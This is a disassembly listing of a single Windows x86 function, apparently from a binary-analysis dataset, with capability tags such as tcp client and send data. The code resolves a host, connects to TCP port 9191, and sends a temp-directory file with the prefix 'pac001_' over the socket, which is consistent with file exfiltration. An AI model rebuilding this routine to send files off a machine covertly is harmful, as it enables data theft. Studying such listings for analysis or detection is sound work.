Function at 0x4052ec
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get common file path
Initialize winsock library
Resolve dns
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
mov eax, 0x4405b0
call fcn.0040eaa0
push 0x2300000
push 8
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapAlloc
mov dword [ebp - 0xa8], eax
mov word [ebp - 0x9e], 0x101
lea edx, [ebp - 0x314]
push edx
mov cx, word [ebp - 0x9e]
push ecx
call sub.WSOCK32.DLL_WSAStartup
mov word [ebp - 0x8c], 8
lea eax, [ebp - 0x20]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x80]
push 0x447814
lea edx, [ebp - 0x38]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x80], 4
lea ecx, [ebp - 0x38]
push ecx
lea eax, [ebp - 0x50]
push eax
call fcn.0040662c
add esp, 8
lea edx, [ebp - 0x50]
push edx
add dword [ebp - 0x80], 4
call fcn.00403012
pop ecx
push eax
call sub.WSOCK32.DLL_gethostbyname
mov dword [ebp - 0xac], eax
sub dword [ebp - 0x80], 4
push 2
lea ecx, [ebp - 0x50]
push ecx
call fcn.00402eed
add esp, 8
sub dword [ebp - 0x80], 4
push 2
lea eax, [ebp - 0x38]
push eax
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x80]
push 2
lea edx, [ebp - 0x20]
push edx
call fcn.00402f7a
add esp, 8
push 6
push 1
push 2
call sub.WSOCK32.DLL_socket
mov dword [ebp - 0xb0], eax
mov word [ebp - 0x324], 2
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx + 0xc]
mov edx, dword [eax]
mov ecx, dword [edx]
mov dword [ebp - 0x320], ecx
push 0x23e7
call sub.WSOCK32.DLL_htons
mov word [ebp - 0x322], ax
push 0x10
lea eax, [ebp - 0x324]
push eax
push dword [ebp - 0xb0]
call sub.WSOCK32.DLL_connect
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0xffffffff
jne 0x40545b
push dword [ebp - 0xa8]
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
call sub.WSOCK32.DLL_WSAGetLastError
mov dword [ebp - 0xa4], eax
push dword [ebp - 0xb0]
call sub.WSOCK32.DLL_closesocket
mov edx, dword [ebp - 0x9c]
mov dword fs:[0], edx
jmp 0x4056bf
mov word [ebp - 0x8c], 0x20
lea ecx, [ebp - 0x58]
push ecx
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x80]
add esp, 0xffffffe8
mov word [ebp - 0x8c], 0x2c
lea eax, [ebp - 0x60]
push eax
call fcn.00402f53
pop ecx
push eax
inc dword [ebp - 0x80]
push 0x4489a4
lea edx, [esp + 8]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x80], 4
lea ecx, [ebp - 0x78]
push ecx
mov word [ebp - 0x8c], 0x20
add dword [ebp - 0x80], 0xfffffffc
call fcn.00406550
add esp, 0x1c
lea eax, [ebp - 0x78]
push eax
add dword [ebp - 0x80], 4
call fcn.00403012
pop ecx
push eax
lea edx, [ebp - 0x18]
push edx
call fcn.00402a94
add esp, 0xc
add dword [ebp - 0x80], 4
dec dword [ebp - 0x80]
push 2
lea ecx, [ebp - 0x58]
push ecx
call fcn.00402f7a
add esp, 8
sub dword [ebp - 0x80], 4
push 2
lea eax, [ebp - 0x78]
push eax
call fcn.00402eed
add esp, 8
dec dword [ebp - 0x80]
push 2
lea edx, [ebp - 0x60]
push edx
call fcn.00402f7a
add esp, 8
mov word [ebp - 0x8c], 0x14
push 0
lea ecx, [ebp - 0x18]
push ecx
call fcn.0040301c
add esp, 8
mov dl, byte [0x4489a4]
mov byte [eax], dl
push 0
lea eax, [ebp - 0x18]
push eax
call fcn.00403012
pop ecx
push eax
call fcn.0040e824
pop ecx
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.00403012
pop ecx
push eax
push dword [ebp - 0xb0]
call sub.WSOCK32.DLL_send
mov dword [ebp - 0xa4], eax
lea eax, [ebp - 0x428]
push eax
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov dword [ebp - 0xb8], eax
push str.pac001_
lea edx, [ebp - 0x428]
push edx
call fcn.0040e7b8
add esp, 8
push 0xc8
push 0
lea ecx, [ebp - 0x184]
push ecx
call fcn.0040e714
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea edx, [ebp - 0x184]
push edx
call fcn.0040e7b8
add esp, 8
push 0x4479a8
lea ecx, [ebp - 0x184]
push ecx
call fcn.0040e7b8
add esp, 8
push 0x44026a
push 0x4488dc
call fcn.00410af8
add esp, 8
mov dword [ebp - 0xb4], eax
cmp dword [ebp - 0xb4], 0
jne 0x405637
push dword [ebp - 0xb4]
call fcn.00410650
pop ecx
push dword [ebp - 0xb0]
call sub.WSOCK32.DLL_closesocket
push dword [ebp - 0xa8]
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
sub dword [ebp - 0x80], 4
push 2
lea eax, [ebp - 0x18]
push eax
call fcn.00402eed
add esp, 8
mov edx, dword [ebp - 0x9c]
mov dword fs:[0], edx
jmp 0x4056bf
push dword [ebp - 0xb4]
push 0x2300000
push 1
push dword [ebp - 0xa8]
call fcn.00410d38
add esp, 0x10
mov dword [ebp - 0xbc], eax
push 0
push dword [ebp - 0xbc]
push dword [ebp - 0xa8]
push dword [ebp - 0xb0]
call sub.WSOCK32.DLL_send
mov dword [ebp - 0xa4], eax
push dword [ebp - 0xb4]
call fcn.00410650
pop ecx
push dword [ebp - 0xb0]
call sub.WSOCK32.DLL_closesocket
push dword [ebp - 0xa8]
push 0
call sub.KERNEL32.DLL_GetProcessHeap
push eax
call sub.KERNEL32.DLL_HeapFree
sub dword [ebp - 0x80], 4
push 2
lea ecx, [ebp - 0x18]
push ecx
call fcn.00402eed
add esp, 8
mov eax, dword [ebp - 0x9c]
mov dword fs:[0], eax
mov esp, ebp
pop ebp
ret